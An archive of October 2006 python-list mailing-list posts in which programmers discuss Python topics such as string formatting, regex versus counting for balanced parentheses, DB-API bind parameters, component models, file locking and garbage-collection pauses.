On 11 Oct 2006 02:10:38 -0700, Ant <antroy at gmail.com> wrote:
>
> Theerasak Photha wrote:
> > On 10/11/06, melv at awc.edu <mj23 at toro.azwestern.edu> wrote:
> ...
> > (La)TeX is the king of document processing, and does PDF.
>
> Except that the OP want's to print Word documents as PDF. LaTeX is
> good, granted, but just try converting LaTeX documents to Word or vice
> versa...

Oh. But can't you just render Word documents to PostScript? And then
ps2pdf will pick up the rest of the slack. It might not even need
Python.

-- Theerasak


From edreamleo at charter.net  Wed Oct  4 12:33:44 2006
From: edreamleo at charter.net (Edward K. Ream)
Date: Wed, 4 Oct 2006 11:33:44 -0500
Subject: How to ask sax for the file encoding
References: <dROUg.62$iP5.51@newsfe07.lga>
	<mailman.1265.1159970009.10491.python-list@python.org>
	<WQPUg.8$Cr3.6@newsfe03.lga> <4oi0f3FehgnuU1@uni-berlin.de>
	<k3QUg.11$Cr3.3@newsfe03.lga> <4oi4meFep2seU1@uni-berlin.de>
Message-ID: <LnRUg.5$5H6.3@newsfe05.lga>

> The encoding _is_ irrelevant, in the very moment you get unicode strings.

We shall have to disagree about this.  My use case is perfectly reasonable, 
imo.

> If you write out xml again, use whatever encoding suits you best.

What suits me best is what the *user* specified, and that got put in the 
first xml line.
I'm going to have to parse this line myself.

Edward
--------------------------------------------------------------------
Edward K. Ream   email:  edreamleo at charter.net
Leo: http://webpages.charter.net/edreamleo/front.html
--------------------------------------------------------------------




From roy at panix.com  Sat Oct  7 22:30:06 2006
From: roy at panix.com (Roy Smith)
Date: Sat, 07 Oct 2006 22:30:06 -0400
Subject: need some regular expression help
References: <1160256609.555007.83170@e3g2000cwe.googlegroups.com>
Message-ID: <roy-35D3AC.22300607102006@reader1.panix.com>

In article <1160256609.555007.83170 at e3g2000cwe.googlegroups.com>,
 "Chris" <chrispatton at gmail.com> wrote:

> I need a pattern that  matches a string that has the same number of '('
> as ')':
> findall( compile('...'), '42^((2x+2)sin(x)) + (log(2)/log(5))' ) = [
> '((2x+2)sin(x))', '(log(2)/log(5))' ]
> Can anybody help me out?
> 
> Thanks for any help!

Why does it need to be a regex?  There is a very simple and well-known 
algorithm which does what you want.

Start with i=0.  Walk the string one character at a time, incrementing i 
each time you see a '(', and decrementing it each time you see a ')'.  At 
the end of the string, the count should be back to 0.  If at any time 
during the process, the count goes negative, you've got mis-matched 
parentheses.

The algorithm runs in O(n), same as a regex.

Regex is a wonderful tool, but it's not the answer to all problems.


From gal.diskin at gmail.com  Thu Oct  5 11:00:58 2006
From: gal.diskin at gmail.com (Gal Diskin)
Date: 5 Oct 2006 08:00:58 -0700
Subject: building strings from variables
Message-ID: <1160060458.147062.193070@c28g2000cwb.googlegroups.com>

Following a discussion with an associate at work about various ways to
build strings from variables in python, I'd like to hear your opinions
and preferred methods. The methods we discussed are:
1.  some_string = "cd %s ; %s  %d %s %s" % ( working_dir, ssh_cmd,
some_count, some_param1, some_param2)

2. import string
    template = string.Template("cd $dir ; $cmd $count $param1
$param2")
    some_string = template.substitute(dict(dir=working_dir,

cmd=ssh_cmd,

count=some_count,

pararm1=some_param1,

param2=some_param2))
here you can use a couple of nice tricks by using class.__dict__ and
globals() \ locals() dictionaries.

3. some_string = "cd "+working_dir+" ; "+ssh_cmd+ "
"+str(some_count)+" "+some_param1+" "+some_param2
(all these are supposed to produce the same strings)

Which methods do you know of \ prefer \ think is better because...?
I will appreciate any opinions about the matter.



From joehust at gmail.com  Fri Oct 27 07:47:15 2006
From: joehust at gmail.com (joe Li)
Date: Fri, 27 Oct 2006 19:47:15 +0800
Subject: virtual function appears in two bases
Message-ID: <11c6e45f0610270447g3ad825adjf6027ed4637909b6@mail.gmail.com>

I saw the following code, but I don't understand the rule for virtual
function that appears in two bases
Could anyone explain it for me, thanks.

class Base1:
    def amethod(self):
       print "Base1"

class Base2(Base1): pass

class Base3:
    def amethod(self):
       print "Base3"

class Derived(Base2, Base3): pass

aninstance = Derived()

aninstance.amethod()
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From exarkun at divmod.com  Fri Oct 20 16:28:20 2006
From: exarkun at divmod.com (Jean-Paul Calderone)
Date: Fri, 20 Oct 2006 16:28:20 -0400
Subject: curious paramstyle qmark behavior
In-Reply-To: <1161374817.671583.175910@i3g2000cwc.googlegroups.com>
Message-ID: <20061020202820.26151.372449229.divmod.quotient.8322@ohm>

On 20 Oct 2006 13:06:58 -0700, BartlebyScrivener <rpdooling at gmail.com> wrote:
>With
>
>aColumn = "Topics.Topic1"'
>
>The first statement "works" in the sense that it finds a number of
>matching rows.
>
>c.execute ("SELECT Author, Quote, ID, Topics.Topic1, Topic2 FROM
>QUOTES7 WHERE " + aColumn + " LIKE ?", ("%" + sys.argv[1] + "%",))
>
>I've tried about 20 different variations on this next one. And it finds
>0 records no matter what I do. Is there some violation when I use two
>qmarks?
>
>c.execute ("SELECT Author, Quote, ID, Topics.Topic1, Topic2 FROM
>QUOTES7 WHERE ? LIKE ?", (aColumn, "%" + sys.argv[1] + "%"))
>
>I'm using mx.ODBC and Python 2.4.3 to connect to an MS Access DB.

Bind parameters aren't a general interpolation mechanism.  Typically,
you cannot use them with database, table, or column names.  Likewise,
this won't work:

execute("SELECT foo ? bar WHERE baz", ("FROM",))

The rule is difficult to express simply (at least, I have never seen
it expressed simply), but it goes something like "bind parameters only
work on values, not schema elements or syntactic constructs".

Jean-Paul


From horpner at yahoo.com  Tue Oct 24 10:43:10 2006
From: horpner at yahoo.com (Neil Cerutti)
Date: 24 Oct 2006 16:43:10 +0200
Subject: The format of filename
Message-ID: <slrnejs9l1.184.horpner@FIAD06.norwich.edu>

Where can I find documentation of what Python accepts as the
filename argument to the builtin function file?

As an example, I'm aware (through osmosis?) that I can use '/' as
a directory separator in filenames on both Unix and Dos. But
where is this documented?

-- 
Neil Cerutti


From mahs at telcopartners.com  Tue Oct 24 14:17:50 2006
From: mahs at telcopartners.com (Michael Spencer)
Date: Tue, 24 Oct 2006 11:17:50 -0700
Subject: ANN compiler2 : Produce bytecode from Python 2.5 Abstract Syntax
	Trees
In-Reply-To: <453d4890$0$22566$9b622d9e@news.freenet.de>
References: <mailman.813.1161325547.11739.python-list@python.org>	<ehffhc$r05$1@news.albasani.net>	<mailman.997.1161629341.11739.python-list@python.org>	<ehjah5$bfm$1@news.albasani.net>
	<453d4890$0$22566$9b622d9e@news.freenet.de>
Message-ID: <ehllc4$q52$2@sea.gmane.org>

Martin v. L?wis wrote:
> Georg Brandl schrieb:
>> Perhaps you can bring up a discussion on python-dev about your improvements
>> and how they could be integrated into the standard library...
> 
> Let me second this. The compiler package is largely unmaintained and
> was known to be broken (and perhaps still is). A replacement
> implementation, especially if it comes with a new maintainer, would
> be welcome.
> 
> Regards,
> Martin
Thanks, I will raise this on python-dev soon.

Regards

Michael



From fredrik at pythonware.com  Sun Oct 29 06:41:00 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sun, 29 Oct 2006 12:41:00 +0100
Subject: Providing full interaction with the run time
In-Reply-To: <QK%0h.135918$xA6.96534@fe16.usenetserver.com>
References: <QK%0h.135918$xA6.96534@fe16.usenetserver.com>
Message-ID: <ei240c$k1s$2@sea.gmane.org>

Dale Strickland-Clark wrote:

> We have a system we're developing which runs as a server. It has an xml-rpc
> interface which I've extended to provide some debugging facilities. This
> has already proved very useful and will continue to be so as the system is
> prepared for live deployment.
> 
> The debugging interface attempts to emulate the Python interactive shell.
> You type expressions, you get an answer. You type statements, they get
> executed.
> 
> The problem is these two types of input are handled differently by Python.
> You don't seem to be able to pass statements (which includes assignments)
> and expressions through the same calls.
> 
> There are three keywords that support this type of function: EXEC, EVAL and
> COMPILE. We can ignore EXEC for this because it doesn't support saving and
> restoring a local environment and EVAL can do it better.

huh?  both exec and eval take optional execution contexts:

     http://effbot.org/pyref/eval.htm
     http://effbot.org/pyref/exec.htm

> Or am I going about this all wrong?

yes, you're trying to reinvent the "code" module (and badly, it seems 
;-).  see the library reference to details, this page for some examples:

     http://www.effbot.org/librarybook/code.htm

</F>



From paul at boddie.org.uk  Tue Oct 24 06:13:32 2006
From: paul at boddie.org.uk (Paul Boddie)
Date: 24 Oct 2006 03:13:32 -0700
Subject: Python 2.5 ; Effbot console ; thank ; pb release.
References: <453ce1a9$0$25910$ba4acef3@news.orange.fr>
	<ehioo2$fef$1@sea.gmane.org>
	<021801c6f734$cb375900$03000080@hendrik>
	<87lkn6qh6q.fsf@benfinney.id.au>
	<mailman.1046.1161677264.11739.python-list@python.org>
Message-ID: <1161684812.036023.135450@b28g2000cwb.googlegroups.com>

Thomas Heller wrote:
>
> I wonder if it would be possible to setup a windows box which provides
> a (web-)service that allows to build Python packages.

Isn't this the kind of service your distribution vendor should be
providing, especially if you've paid them good money? Oh wait! That
would be Microsoft, wouldn't it? ;-)

Still, there's always ActiveState, and I guess they still have that PPM
installer utility for people wanting some kind of binary package
download mechanism.

Paul



From eldiener_no_spam_here at earthlink.net  Tue Oct 10 09:26:27 2006
From: eldiener_no_spam_here at earthlink.net (Edward Diener No Spam)
Date: Tue, 10 Oct 2006 13:26:27 GMT
Subject: Python component model
In-Reply-To: <1160481117.377844.82630@i3g2000cwc.googlegroups.com>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net>
	<UVDWg.12152$UG4.2954@newsread2.news.pas.earthlink.net>
	<1160481117.377844.82630@i3g2000cwc.googlegroups.com>
Message-ID: <7cNWg.7442$Y24.2483@newsread4.news.pas.earthlink.net>

Michael Sparks wrote:
> Edward Diener No Spam wrote:
>> Michael wrote:
>>> Edward Diener No Spam wrote:
>>>
>>>> Has there ever been, or is there presently anybody, in the Python
>>>> developer community who sees the same need and is working toward that
>>>> goal of a common component model in Python, blessed and encouraged by
>>>> those who maintain the Python language and standard modules themselves ?
>>> Someone aiming towards a standard to /replace/ everyone else's? That
>>> presupposes a level of arrogance that seems unusual in the python world.
>>> (whilst everyone's proud of their own code and they _generally_ respect
>>> other people's even if it's not their cup of tea).
>> The reason I would like to see a standard component model for Python is
>> so 3rd party developers could create their classes to conform to this
>> model and work in any RAD IDE environment which adapts it. That's the
>> way JavaBeans work, that the way Borland's VCL component model works,
>> and that's the way .Net works. When there are many different component
>> models, the 3rd party developer must adapt their components to each
>> model for a particular environment.
>>
>> But far be it from me to want to replace everybody else's model <g>.
> 
> Well that's the thing you *do* want since you want the previous
> paragraph ;-)
> (Or at least a way to adapt component models.)

I was being funny above. Yes I would like to establish a basic component 
model for RAD development in Python. But surely it need not replace all 
others but could serve at least as a base class for other derived models 
for various environments. That way a developer writing a Python 
component could have it work in these environments as a simple component 
and more complex components, tailored to that environment could be 
created as necessary through inheritance.

> 
>> By your reasoning above, standardizing anything in software is an
>> arrogant proposition. Whereas I look at standardization, when it is well
>> done, as a boon to programmers.
> 
> OK, maybe I was being a bit strong - I was merely thinking "lots of
> people have something like this already, and I've not seen anyone push
> their model as THE model", (even if lots of people like *their* model
> :-)
> 
> However, I was also being a bit tongue in cheek, though I should have
> said unreasonable, not arrogant:
>    "...all progress depends on the unreasonable man." -- Bernard Shaw.

Bravo, Shaw. Of course by unreasonable I assume Shaw meant those using 
imagination and inspiration along with logic and reason.

> 
> What could have some mileage though is proposing a standard way for
> these component models to interoperate. What that would look like
> (given the wildly different models :), is another matter and an
> exercise for the interested reader ;-)
> 
>>> The WSGI standard could be a form of component model, and has gone through
>>> the PEP process so that might match your criterion.
>> I do not know what it is but I will look it up.
> 
> NB, I'm using component model in it's loosest form there.
> 
>>> As for component
>>> models, they do exist.
>>>
>>> Our component model on the Kamaelia project [1] is one that's heavily
>>> designed around the idea of composition and independent execution of
>>> components and message passing (message passing maps to events for some
>>> sorts of message),
>>>    [1] http://kamaelia.sourceforge.net/Home
>> I will look at kamaelia. Thanks !
> 
> You're welcome. Any deficiencies or improvements or suggestions you've
> got would be very welcome (I can see some which we're planning on
> addressing at some point, but fresh critical eyes are always welcome).
> 
>>> However, off the top of my head, you should also look at Zope's component
>>> model, Trac's component model, Twisted's model & PEAK, and any proposal
>>> to say "this is the solution", needs to be compelling for all of these
>>> projects.
>> A standard component model could be used as a base for other more
>> advanced needs. Most of those mentioned above seem to involve web
>> application frameworks whereas my idea of a component model just assumes
>>   the paradigms of properties, methods, and events which may allow
>> re-usable components at a base level in any environment.
> 
> They do, however in particular, Trac's model whilst web oriented
> strikes me personally as interesting and PEAK's is applicable, as I
> understand it, outside the web sphere. (Enthought was mentioned
> elsewhere and is interesting (IMO) for the properties stuff)

I do like most of Enthought's notion of properties, which they call 
"traits", no doubt to also distinguish it from Python new-style class 
properties. Their notion corresponds somewhat to the idea of properties 
in Java and .Net.

Essentially a property-method-event component model in Python needs 
component properties and component events, so investigating notions of 
component properties in Python is something I want to do.

> 
> If you're interested in event systems as well, it's probably worth
> looking at the way a number of pygame applications are written since
> there's an event model built into pygame that some pygame apps take
> advantage of for custom events and some don't. It's a very different
> problem realm to the web systems.

Are there any URLs you know for looking at these event models ? In 
general an event model for a component must be ideally very flexible, 
which in my terminology means that any Python user-defined class or 
function object should be able to handle any exposed class event given 
the correct callable signature.

> 
> Twisted is worth looking at as well, since it's probably got one of the
> more interesting approaches for dealing with essentially event based
> systems I've seen.
> 
>> A particular implementation is certainly allowed to build a more
>> complicated idea of a component, through inheritance, from a base level
>> component, and this is in fact the way that most components work in
>> current component model environments I have mentioned. For instance in
>> .Net a control is a component with other added qualities. So while one
>> could build components which are not controls, it is necessary to add
>> functionality to the base level idea of a component in order to create a
>> control.
> 
> You *may* also want to take a look at picolo as well then - but as far
> as I'm
> aware it's not actually *used* by anyone. It is in some respects more
> like
> the kind of component model you describe here. (I personally didn't
> find much
> useful about their proposal that goes beyond what python already
> provides
> you) However you might find that and some of the other things on the
> following
> link interesting: http://www2.lifl.fr/~marvie/software.html
> 
> It's worth bearing in mind though that your description above is one
> approach
> for component based design. A survey of different approaches which you
> might find useful:

Again, thanks for the links.


From hanumizzle at gmail.com  Tue Oct 17 06:35:33 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Tue, 17 Oct 2006 06:35:33 -0400
Subject: Any idea how to do this in Python?
In-Reply-To: <1161079005.891146.283920@i42g2000cwa.googlegroups.com>
References: <1161072836.884393.204810@f16g2000cwb.googlegroups.com>
	<Ut0Zg.8115$Lv3.6453@newsread1.news.pas.earthlink.net>
	<1161079005.891146.283920@i42g2000cwa.googlegroups.com>
Message-ID: <463ff4860610170335rd0935e2ic467299be82bb367@mail.gmail.com>

On 17 Oct 2006 02:56:45 -0700, Lad <python at hope.cz> wrote:
>
> Dennis,
> Thank you for your reply
> You say:
> >Pretend you are the computer/application/etc.  How would YOU
> > perform such a ranking?
> That is what I do not know , how to perform such ranking.
> Do you have any idea?

The details are very sketchy, but if it's just one item in particular
that's being favored, you could just have something like 'Google
sponsored ads', where there's a small box with links to everything
related to Siemens Mobile at the top.

(keke, he said 'Siemens', lol)

-- Theerasak


From bignose+hates-spam at benfinney.id.au  Wed Oct 25 20:50:01 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Thu, 26 Oct 2006 10:50:01 +1000
Subject: question about True values
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<17727.47016.632530.720950@montanaro.dyndns.org>
	<ehoqhe$6iq$3@sea.gmane.org>
Message-ID: <87r6wvlx3a.fsf@benfinney.id.au>

Steve Holden <steve at holdenweb.com> writes:

> skip at pobox.com wrote:
> > s is not equal to the boolean object True, but it also doesn't
> > evaluate to the string class's "nil" value.  Each of the builtin
> > types has such an "empty" or "nil" value:
> > 
> >     string              ""
> >     list                []
> >     tuple               ()
> >     dict                {}
> >     int                 0
> >     float               0.0
> >     complex             0j
> >     set                 set()
> > 
> > Any other value besides the above will compare as "not false".
>
> And today's question for the novices is: which Python type did Skip
> miss from the above list?

       bool             False

-- 
 \     "[The RIAA] have the patience to keep stomping. They're playing |
  `\      whack-a-mole with an infinite supply of tokens."  -- kennon, |
_o__)                                             http://kuro5hin.org/ |
Ben Finney



From esj at harvee.org  Tue Oct  3 00:28:35 2006
From: esj at harvee.org (Eric S. Johansson)
Date: Tue, 03 Oct 2006 00:28:35 -0400
Subject: Making sure script only runs once instance at a time.
In-Reply-To: <1159832748.370619.95190@i3g2000cwc.googlegroups.com>
References: <mailman.801.1159372327.10491.python-list@python.org>	<1159531181.314800.224180@k70g2000cwa.googlegroups.com>	<mailman.936.1159535264.10491.python-list@python.org>	<7xk63mpzwr.fsf@ruckus.brouhaha.com>	<451D25A3.7010803@googlemail.com>
	<efjbhh$d9m$1@sea.gmane.org>	<4520E5E1.3040409@googlemail.com>	<mailman.1111.1159808480.10491.python-list@python.org>
	<1159832748.370619.95190@i3g2000cwc.googlegroups.com>
Message-ID: <4521E6F3.6080004@harvee.org>

MonkeeSage wrote:
> Here's a class using Fredrik's suggestions to provide generic,
> cross-platform file locking (only tested on *nix however, with the two
> test files listed [i.e., run test1.py in one terminal then test2.py in
> another]):
> 
> http://pastie.caboo.se/15851
> 
> Ps. The lockfile should also always be cleaned up (even when your
> program excepts) because of the magic __del__ method, but I don't
> guarentee it will be (nor depend on it: I used the pid + hostname in
> the lockfile approach).

the problem with this solution is that it does not handle the read 
nonexclusive/write exclusive locking model.  In this model, reads don't 
block, they only register that the request is in process.  writes lock 
request block until all outstanding reads have completed.  When there is 
a write lock waiting, all subsequent reads lock requests block until the 
write has completed.

Things get more complicated when you add exclusive read capability to 
the system.  But fortunately, that capability isn't needed very often 
and sometimes reduces to a write exclusive lock.

The next level up in terms of locking system requirements is some form 
of scoreboard mechanism where you can lock individual records in a file 
(i.e. dbm).  I do something like this in a demon which  owns the dbm, 
mediates database access, and record locking so that I can have multiple 
readers and writers at the same time using gdbm.  But you can also use 
the same technique for metakit.


---eric




From fredrik at pythonware.com  Mon Oct 16 12:01:19 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 16 Oct 2006 18:01:19 +0200
Subject: Strange Behavior
In-Reply-To: <pan.2006.10.16.14.51.14.919825@REMOVE.THIS.cybersource.com.au>
References: <1161008763.124120.147010@i3g2000cwc.googlegroups.com>
	<pan.2006.10.16.14.51.14.919825@REMOVE.THIS.cybersource.com.au>
Message-ID: <eh0acf$2ei$2@sea.gmane.org>

Steven D'Aprano wrote:

> It isn't a bug in Python. At worst, it is a "gotcha", but it is a
> deliberate design decision, and quite useful. For example, this is good
> for caching complicated calculations:

it's also used to pass in *objects* instead of names into an inner scope.

</F>



From fredrik at pythonware.com  Mon Oct 30 05:34:32 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 30 Oct 2006 11:34:32 +0100
Subject: slice's indices() method
In-Reply-To: <1162203112.607390.220510@e3g2000cwe.googlegroups.com>
References: <1162203112.607390.220510@e3g2000cwe.googlegroups.com>
Message-ID: <ei4kfr$5bp$1@sea.gmane.org>

smichr at gmail.com wrote:

> Is there any reason not to change the behavior of the indices() method
> so it gives indices that can be used in range (to give indices
> corresponding to elements that would be extracted by a given slice)
> *and* used as arguments for slices so that the slice with the new
> indices (obtained from the indices() method) would extract the same
> elements as the original slice from whence they were obtained?

and this month's "absolutely most pointless of all pointless proposals" 
award goes to...

</F>



From fortepianissimo at gmail.com  Mon Oct 23 02:41:26 2006
From: fortepianissimo at gmail.com (fortepianissimo)
Date: 22 Oct 2006 23:41:26 -0700
Subject: question about xmlrpc server: returning a list of lists to a Java
	client?
In-Reply-To: <1161577298.179454.140370@m7g2000cwm.googlegroups.com>
References: <1161577298.179454.140370@m7g2000cwm.googlegroups.com>
Message-ID: <1161585686.348200.187350@e3g2000cwe.googlegroups.com>


fortepianissimo wrote:
> I have a simple xmlrpc server/client written in Python, and the client
> throws a list of lists to the server and gets back a list of lists.
> This runs without a problem.
>
> I then wrote a simple Java xmlrpc client and it calls the python
> server. But I can't figure out what type to cast the result (of type
> Object) to. The Java xmlrpc call is basically this:
>
>
> Object result = client.execute("MyFunction", params);
>
>
> And I tried to replace that line with
>
>  Vector result = (Vector) client.execute("MyFunction", params);
>
> and
>
> ArrayList result = (ArrayList) client.execute("MyFunction", params);
>
> and both gave me  java.lang.ClassCastException.
>
> I'm really not a Java expert - anyone can give a hint or two?
>
> (NOTE the java client/python server works well when the returning
> result is of type string - so this rules out some other possible
> problems)
>
> Thanks a lot!

Ok I'll answer to myself: found this message

http://mail-archives.apache.org/mod_mbox/ws-xmlrpc-user/200603.mbox/%3C50EEA33C-9A07-47BB-8AAE-CC5DF705EB04 at wilson.co.uk%3E

Basically it's introduced by a bug in Apache XMLRPC 3.0a1
implementation.

Anyone knows any update on this please do post up (the message was
dated in March 2006) - appreciate it!



From dgoodger at gmail.com  Wed Oct  4 15:12:37 2006
From: dgoodger at gmail.com (David Goodger)
Date: 4 Oct 2006 12:12:37 -0700
Subject: Python to use a non open source bug tracker?
In-Reply-To: <eg0qu6$u7b$1@nnrp.ngi.it>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<2sadneD3XpY0xb_YnZ2dnUVZ_q2dnZ2d@speakeasy.net>
	<eg0899$9g5$1@sea.gmane.org>
	<mailman.1263.1159968766.10491.python-list@python.org>
	<eg0qu6$u7b$1@nnrp.ngi.it>
Message-ID: <1159989157.734840.188430@m7g2000cwm.googlegroups.com>

Giovanni Bajo wrote:
> The current request is: "please, readers of python-dev, setup a team of 6-10
> people to handle roundup or we'll go to a non-free software for bug
> tracking". This is something which I cannot cope with, and I'm *speaking*
> up against. Were the request lowered to something more reasonable, I'd be
> willing to *act*.

No, the announcement stated the situation in a very different way.

Asking for a group of maintainers to commit to an essential piece of
infrastructure is perfectly reasonable. Brett didn't ask for 6-10 full
time developer/sysadmins. He asked for typical commitment, which is up
to a few hours per week. The initial work will probably be significant,
but will undoubtedly taper off over time.

Go back to the original announcement:

"""
After evaluating the trackers on several points (issue creation,
querying, etc.), we reached a tie between JIRA and Roundup in terms of
pure tracker features.
"""

JIRA gets a leg up because of the hosting and administration also being
offered. But...

"""
If enough people step forward we will notify python-dev that Roundup
should be considered the recommendation of the committee and graciously
turn down Atlassian's offer.
"""

That is a perfectly reasonable offer. Put up or shut up.

> And besides the only thing I'm really sniping the PSF against is about
> *ever* having thought of non-FLOSS software. This is something I *really* do
> not accept. ... I just
> disagree with their initial requirements (and I have not raised this point
> before because, believe me if you can, I really thought it was obvious and
> implicit).

That just shows that you were being na?ve. The initial requirements
were published openly and clearly.

> I do respect the fact
> that the PSF committee did a thorough and correct evaluation:

Yes, they did, and you should be thanking them instead of complaining.

If you feel so strongly, please volunteer.

-- David Goodger



From deets at nospam.web.de  Sat Oct 21 03:32:44 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Sat, 21 Oct 2006 09:32:44 +0200
Subject: Inheriting property functions
In-Reply-To: <1161383286.543397.46700@m73g2000cwd.googlegroups.com>
References: <1161383286.543397.46700@m73g2000cwd.googlegroups.com>
Message-ID: <4pu0ooFk6oneU1@uni-berlin.de>

Dustan schrieb:
> Looking at this interactive session:
> 
>>>> class A(object):
> 	def __init__(self, a):
> 		self.a = a
> 	def get_a(self): return self.__a
> 	def set_a(self, new_a): self.__a = new_a
> 	a = property(get_a, set_a)
> 
> 
>>>> class B(A):
> 	b = property(get_a, set_a)
> 
> 
> Traceback (most recent call last):
>   File "<pyshell#11>", line 1, in <module>
>     class B(A):
>   File "<pyshell#11>", line 2, in B
>     b = property(get_a, set_a)
> NameError: name 'get_a' is not defined
>>>> class B(A):
> 	b = a
> 
> 
> Traceback (most recent call last):
>   File "<pyshell#13>", line 1, in <module>
>     class B(A):
>   File "<pyshell#13>", line 2, in B
>     b = a
> NameError: name 'a' is not defined
> 
> B isn't recognizing its inheritence of A's methods get_a and set_a
> during creation.
> 
> Why am I doing this? For an object of type B, it makes more sense to
> reference the attribute 'b' than it does to reference the attribute
> 'a', even though they are the same, in terms of readability.

I think you are having a code smell here. However, this is how you do it:

class B(A):
     b = A.a


Diez


From sybrenUSE at YOURthirdtower.com.imagination  Sat Oct 21 04:32:39 2006
From: sybrenUSE at YOURthirdtower.com.imagination (Sybren Stuvel)
Date: Sat, 21 Oct 2006 10:32:39 +0200
Subject: Detect Unused Modules
References: <1161385707.141179.174310@b28g2000cwb.googlegroups.com>
Message-ID: <slrnejjmp7.jga.sybrenUSE@schuimige.stuvel.eu>

Kamilche enlightened us with:
> DetectUnusedModules.py - Detect modules that were imported but not
> used in a file.  When run directly, this class will check all files
> in the current directory.

Nice as it is, but why not use pylint to check this and many other
coding style issues?

Sybren
-- 
Sybren St??vel
St??vel IT - http://www.stuvel.eu/


From cems at earthlink.net  Sun Oct  1 11:22:59 2006
From: cems at earthlink.net (charlie strauss)
Date: Sun, 1 Oct 2006 11:22:59 -0400 (EDT)
Subject: Is this a bug? Python intermittently stops dead for seconds
Message-ID: <7935541.1159716179929.JavaMail.root@elwamui-chisos.atl.sa.earthlink.net>


>> 
>I think the point you are missing is that the garbage collector is 
>triggered from time to time to ensure that no cyclical garbage remains 
>uncollected, IIRC. The more data that's been allocated, the longer it 
>takes the collector to scan all of memory to do its job.
>
>If you can find a way to avoid the behaviour I'm sure the development 
>team would be interested to hear it :-)

>
>I think you'll find that most programs that eat through memory in this 
>way will exhibit pretty much the same behaviour. If you *know* your 
>program isn't creating data cycles, just turn the GC off and rely on 
>reference counting. That won't save you from paging when you eventually 
>exhaust physical memory. Nothing can.


Could you clarify that for me.  GC really has three components two it:  1) finding and freeing unrefernced memory by refer counts 2)  cycle removal and 3)  defragementing the storage stack.  If I turn off GC, don't I lose all of these?



>From a user perspective, turning off GC and then managing it yourself is unappealing.  What would be preferrable would be to be able to simply turn down it's threshold.  That is, what I really want is to tell GC it can hold off and checks other than reference counts until X% of the memory is filled.  At some point I want it to kick in, and I don't want to have to programatically manage that, but simply specify a simple tolerance.    

Even better , I'd like to keep 1 and 3 and turn off just 2 and just use weak reference in the few cases I really need them.




From neoedmund at gmail.com  Wed Oct 18 04:22:19 2006
From: neoedmund at gmail.com (neoedmund)
Date: 18 Oct 2006 01:22:19 -0700
Subject: python's OOP question
In-Reply-To: <4534a656$0$19612$426a74cc@news.free.fr>
References: <1160962754.613391.254330@e3g2000cwe.googlegroups.com>
	<mailman.550.1160965386.11739.python-list@python.org>
	<1160965758.324644.131920@i42g2000cwa.googlegroups.com>
	<mailman.551.1160968738.11739.python-list@python.org>
	<1160969393.803021.274070@e3g2000cwe.googlegroups.com>
	<45334fa9$0$5656$426a74cc@news.free.fr>
	<1160991239.541020.115320@m7g2000cwm.googlegroups.com>
	<453382b6$0$8601$426a74cc@news.free.fr>
	<1161054047.278803.241040@h48g2000cwc.googlegroups.com>
	<4534a656$0$19612$426a74cc@news.free.fr>
Message-ID: <1161159733.014074.107040@h48g2000cwc.googlegroups.com>


Bruno Desthuilliers wrote:
> neoedmund wrote:
> (snip)
> > So I can reuse a method freely only if it's worth reusing.
> > For the word "inheritance", in some aspect, meanings reuse the super
> > class, with the condition: must reuse everything from super class.
>
> Not really. In fact, inheritance *is* a special case of
> composition/delegation. A 'child' class is a class that has references
> to other classes - it's 'parents' -, and  then attributes that are not
> found in the instance or child class are looked up in the parents
> (according to mro rules in case of multiple inheritance). And that's all
> there is.
>
> > It's lack of a option to select which methods are to be reused.
>
> Methods not redefined in the 'child' class or it's instance are
> 'reusable'. Now they are only effectively 'reused' if and when called by
> client code. So the 'option to select which methods are to be reused' is
> mostly up to both the 'child' class and code using it.
>
> > this is something should be improved for general OOP i think.
> > So to answer " What is your problem with having the other extra methods
> > too ?",
> > in real life, a class is not defined so well that any method is needed
> > by sub-class.
>
> Then perhaps is it time to refactor. A class should be a highly cohesive
> unit. If you find yourself needing only a specific subset of a class, it
> may be time to extract this subset in it's own class. Given Python's
> support for both multiple inheritance and composition/delegation, it's
> usually a trivial task (unless you already mixed up too many orthogonal
> concerns in your base class...).
>
> --
> bruno desthuilliers
> python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
> p in 'onurb at xiludom.gro'.split('@')])"

I donnot agree with your "it's time to refactory" very much, man has
probly never has time to do such things. suppose a system is working
soundly, you maybe has no time or motivation to do refactory instead of
having a vocation to a island. it's easy to say, at lease myself has
not the experience to do such things, :-)



From exarkun at divmod.com  Sun Oct 22 01:06:34 2006
From: exarkun at divmod.com (Jean-Paul Calderone)
Date: Sun, 22 Oct 2006 01:06:34 -0400
Subject: Attempting to parse free-form ANSI text.
In-Reply-To: <GsGdnTIYc-lXaafYnZ2dnUVZ_sCdnZ2d@comcast.com>
Message-ID: <20061022050634.26151.1790555103.divmod.quotient.9670@ohm>

On Sun, 22 Oct 2006 00:34:14 -0400, "Michael B. Trausch" <mike$#at^&nospam!%trauschus at bag.python.org> wrote:
>Alright... I am attempting to find a way to parse ANSI text from a
>telnet application.  However, I am experiencing a bit of trouble.
>
>What I want to do is have all ANSI sequences _removed_ from the output,
>save for those that manage color codes or text presentation (in short,
>the ones that are ESC[#m (with additional #s separated by ; characters).
> The ones that are left, the ones that are the color codes, I want to
>act on, and remove from the text stream, and display the text.

http://originalgamer.cvs.sourceforge.net/originalgamer/originalgamer/originalgamer/ansi.py?revision=1.12&view=markup may be of some interest.

Jean-Paul


From ptmcg at austin.rr._bogus_.com  Fri Oct 13 11:20:15 2006
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Fri, 13 Oct 2006 15:20:15 GMT
Subject: Line algorithim for python and numeric
References: <1160749997.673677.325150@m73g2000cwd.googlegroups.com>
	<mailman.449.1160750510.11739.python-list@python.org>
Message-ID: <P8OXg.47123$DU3.17444@tornado.texas.rr.com>

"Theerasak Photha" <hanumizzle at gmail.com> wrote in message 
news:mailman.449.1160750510.11739.python-list at python.org...
